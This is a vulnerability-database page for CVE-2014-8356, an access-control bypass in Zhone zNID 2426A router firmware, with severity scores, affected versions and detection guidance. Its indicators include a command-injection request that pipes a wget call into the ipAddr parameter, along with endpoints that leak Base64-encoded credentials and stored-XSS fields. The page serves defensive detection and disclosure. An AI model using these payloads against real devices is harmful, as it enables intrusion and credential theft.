CVE-2014-8356: The web administrative portal in Zhone zNID 2426A before S3.0.501 allows remote authenticated users to bypass intended access restrictions via a modified…

PriorityP278high8.8CVSS 3.1

AVNACLPRLUINSUCHIHAH

ITWEXPLOITVulnCheck KEV

Exploited in the wild

EPSS

5.64%

92.0th percentile

The web administrative portal in Zhone zNID 2426A before S3.0.501 allows remote authenticated users to bypass intended access restrictions via a modified server response, related to an insecure direct object reference.

Affected

1 ranges

Vendor	Product	Version range	Fixed in
dasanzhone	znid_2426a_firmware	< s3.0.501	s3.0.501

Detection & IOCsextracted from sources · hover to see the quote

urlhttp:///menuBcm.js↗

url/zhnping.cmd?&test=traceroute&sessionKey=985703201&ipAddr=192.168.1.1|wget%20http://192.168.1.17/l00per_was_here&ttl=30&wait=3&queries=3↗

path/backupsettings.conf↗

path/backupsettings.html↗

path/uploadsettings.cgi↗

path/zhnsystemconfig.cgi↗

commandipAddr=192.168.1.1|wget%20http://192.168.1.17/l00per_was_here↗

→CVE-2014-8356: Authorization is enforced client-side only via JavaScript. Detect bypass by monitoring for authenticated low-privilege users accessing admin-only endpoints (e.g. menuBcm.js manipulation via proxy intercept replacing 'admin' role string). ↗
→Detect unauthenticated or low-privilege access to /backupsettings.conf?action=getConfig which returns Base64-encoded credentials for all accounts. ↗
→Detect OS command injection via the ipAddr parameter in /zhnping.cmd — look for pipe characters or shell metacharacters in the ipAddr value (e.g. '|wget', '|curl', '|;'). ↗
→Detect stored XSS attempts against /zhnsystemconfig.cgi by monitoring for script tags or URL-encoded equivalents (%3Cscript%3E) in snmpSysName, snmpSysLocation, or snmpSysContact parameters. ↗
→Detect privilege escalation via POST to /uploadsettings.cgi by low-privilege users — monitor for multipart/form-data uploads of backupsettings.conf from non-admin sessions. ↗

·The affected device is Zhone zNID 2426A before firmware S3.0.501; fixes for issues 1, 4, and 5 were completed in S3.1.241. Detections are only relevant against unpatched devices running firmware prior to S3.1.241. ↗
·Passwords are stored as Base64-encoded strings in the backup configuration file, not hashed — any recovered credential material from backupsettings.conf is trivially decodable. ↗

CVSS provenance

nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

nvdv2.06.5MEDIUMAV:N/AC:L/Au:S/C:P/I:P/A:P

vulncheck8.8HIGH

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.